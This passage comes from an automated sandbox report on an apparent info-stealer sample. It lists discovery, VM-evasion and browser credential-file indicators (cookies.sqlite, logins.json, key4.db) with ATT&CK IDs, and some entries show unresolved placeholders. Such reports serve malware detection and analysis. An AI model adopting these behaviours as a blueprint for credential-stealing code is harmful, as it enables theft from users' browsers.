\"NtQuerySystemInformation\"; Source: \"00000000-00008084-00000C2C-2968083473\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00008084-00000C2C-2969394216\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"CredUIParseUserNameW\" (Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found string \"The credential consists of both Password and UserName being supplied together in a pair.\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"VPN.UserName=\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"providerFilter=Yes VPN.UserName=\"UserXXX\"\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"GetUserNameExW\" (Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00008084-00000C2C-2968083473\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00008084-00000C2C-2969394216\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"cookies.sqliteplaces.sqlitelogins.jsonkey4.dbstoragesessionstore.jsonlz4sessionstore-backups&backstage.firefox.profile_debug stage=\" (Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00008084-00000C2C-2965408937\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00008084-00000C2C-2965409584\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00008084-00000C2C-2970813520\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00008084-00000C2C-2970813577\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"EnumServicesStatusExW\" (Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"file\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"file\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"file\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"Found string \"cookies.sqliteplaces.sqlitelogins.jsonkey4.dbstoragesessionstore.jsonlz4sessionstore-backups&backstage.firefox.profile_debug stage=\" (Indicator: \"cookies.sqlite\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"file\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"file\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in file \"file\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\"\n Found system information discovery API: \"GetNativeSystemInfo\" in \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\"\n Found system information discovery API: \"WTSRegisterSessionNotification\" in \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"file.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006548)\n \"helper.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006700)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"file.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006548)\n \"file.exe\" called \"Process32FirstW\" with parameters (UID: 00000000-00006548)\n \"file.exe\" called \"Process32NextW\" with parameters (UID: 00000000-00006548)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"file.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006548)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"8084\" - (UID: 00000000-00008084)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"6552\" - (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008084)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"file.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006548)\n \"uzbektajik.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006976)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00008084)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00008084)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00008084)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006552)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00008084)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00004512)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: uzbektajik.exe]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-190","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$33","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$34","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformationForYear\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"file\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"file\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"$37","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"\"whoami\" /groups\" (Indicator: \"\"whoami\") in Source: 00000000-00006976-00000C47-2048227584","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Creates file in AppData directory","description":"\"file.exe\" writes to a file \"%APPDATA%\\uzbektajik.exe\"\n \"file.exe\" writes to a file \"%APPDATA%\\itsub.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-322","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"\"helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\AVAST SECURE BROWSER\\SHELL\\OPEN\\COMMAND\"; Key: \"\"; Value: \"\")\n \"helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\BRAVE\\SHELL\\OPEN\\COMMAND\"; Key: \"\"; Value: \"\")\n \"helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\GOOGLE CHROME BETA\\SHELL\\OPEN\\COMMAND\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"file.exe\" queried token user identity (UID: 00000000-00006548)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$39","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"uzbektajik.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000000.274160.09090000.00000004.mdmp, 00000000-00004512.00000000.274160.C1C22000.00000002.mdmp, 00000000-00004512.00000001.275141.08E8A000.00000004.mdmp, 00000000-00004512.00000001.275141.09090000.00000004.mdmp\")\n Found string \"CT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004512.00000001.275141.08E8A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA HTTP Response excessive header repetition\" (SID: 2221036, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":".rdata section contains high entropy","description":"\"uzbektajik.exe\" has section name .rdata with entropy \"7.477630265847837\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-187","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in file \"file\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 64 bit PEB structure (dword ptr gs:[00000060h]) (Offset: 1075)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"file\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"file\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: 